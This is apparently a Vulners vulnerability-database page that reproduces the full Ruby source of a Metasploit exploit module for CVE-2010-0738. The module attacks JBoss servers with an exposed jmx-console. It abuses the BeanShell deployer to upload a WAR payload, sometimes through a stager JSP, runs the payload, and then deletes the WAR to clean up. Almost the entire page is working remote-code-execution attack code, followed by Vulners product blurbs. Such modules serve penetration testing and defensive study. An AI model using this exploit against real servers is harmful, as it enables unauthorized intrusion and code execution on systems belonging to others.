Lucene search
K

JBoss JMX Console Beanshell Deployer WAR Upload and Deployment

🗓️ 03 Jan 2013 23:48:10Reported by Patrick Hof, jduck <[email protected]>, Konrads Smelkovs, h0ng10Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

JBoss JMX Console Beanshell Deployer WAR Upload and Deploymen

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

  include Msf::Exploit::Remote::HTTP::JBoss

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
      'Description'	=> %q{
          This module can be used to install a WAR file payload on JBoss servers that have
        an exposed "jmx-console" application. The payload is put on the server by
        using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
      },
      'Author'       =>
        [
          'Patrick Hof',
          'jduck',
          'Konrads Smelkovs',
          'h0ng10'
        ],
      'License'		=> BSD_LICENSE,
      'References'	=>
        [
          [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
          [ 'OSVDB', '64171' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
        ],
      'Privileged'   => true,
      'Platform'     => %w{ java linux win },
      'Stance'       => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [
          #
          # do target detection but java meter by default
          # detect via /manager/serverinfo
          #
          [ 'Automatic (Java based)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            } ],

          #
          # Platform specific targets only
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
          [ 'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],

          #
          # Java version
          #
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
            }
          ]
        ],
      'DisclosureDate' => '2010-04-26',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('JSP',	     [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
        OptString.new('APPBASE',	 [ false, 'Application base name, (default: random)', nil ])
      ])
  end


  def exploit
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))

    p = payload
    mytarget = target

    if target.name =~ /Automatic/
      mytarget = auto_target(targets)
      unless mytarget
        fail_with(Failure::NoTarget, "Unable to automatically select a target")
      end
      print_status("Automatically selected target \"#{mytarget.name}\"")
    else
      print_status("Using manually select target \"#{mytarget.name}\"")
    end
    arch = mytarget.arch

    # set arch/platform from the target
    plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]

    # We must regenerate the payload in case our auto-magic changed something.
    return if ((p = exploit_regenerate_payload(plat, arch)) == nil)

    # Generate the WAR containing the payload
    war_data = p.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    }).to_s

    encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')

    if http_verb == 'POST'
      print_status("Deploying payload...")
      opts = {
        :file => "#{app_base}.war",
        :contents => encoded_payload
      }
    else
      print_status("Deploying stager...")
      stager_base     = rand_text_alpha(8+rand(8))
      stager_jsp_name = rand_text_alpha(8+rand(8))
      stager_contents = stager_jsp(app_base)

      opts = {
        :dir => "#{stager_base}.war",
        :file => "#{stager_base}.war/#{stager_jsp_name}.jsp",
        :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
      }
    end

    bsh_payload = generate_bsh(:create, opts)
    package = deploy_bsh(bsh_payload)

    if package.nil?
      fail_with(Failure::Unknown, "Failed to deploy")
    end

    unless http_verb == 'POST'
      # now we call the stager to deploy our real payload war
      stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
      payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
      print_status("Calling stager #{stager_uri } to deploy final payload")
      res = deploy('method' => 'POST',
                   'data'   => payload_data,
                   'uri'    => stager_uri)
      unless res && res.code == 200
        fail_with(Failure::Unknown, "Failed to deploy")
      end
    end


    #
    # EXECUTE
    #
    uri = '/' + app_base + '/' + jsp_name + '.jsp'
    print_status("Calling JSP file with final payload...")
    print_status("Executing #{uri}...")
    deploy('uri' => uri, 'method' => 'GET')

    #
    # DELETE
    #
    # The WAR can only be removed by physically deleting it, otherwise it
    # will get redeployed after a server restart.
    print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")

    files = {}
    unless http_verb == 'POST'
      files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
      files[:stager_base] = "#{stager_base}.war"
    end
    files[:app_base] = "#{app_base}.war"
    delete_script = generate_bsh(:delete, files)

    res = invoke_bsh_script(delete_script, package)
    if res.nil?
      print_warning("WARNING: Unable to remove WAR [No Response]")
    elsif res.code < 200 || res.code >= 300
      print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation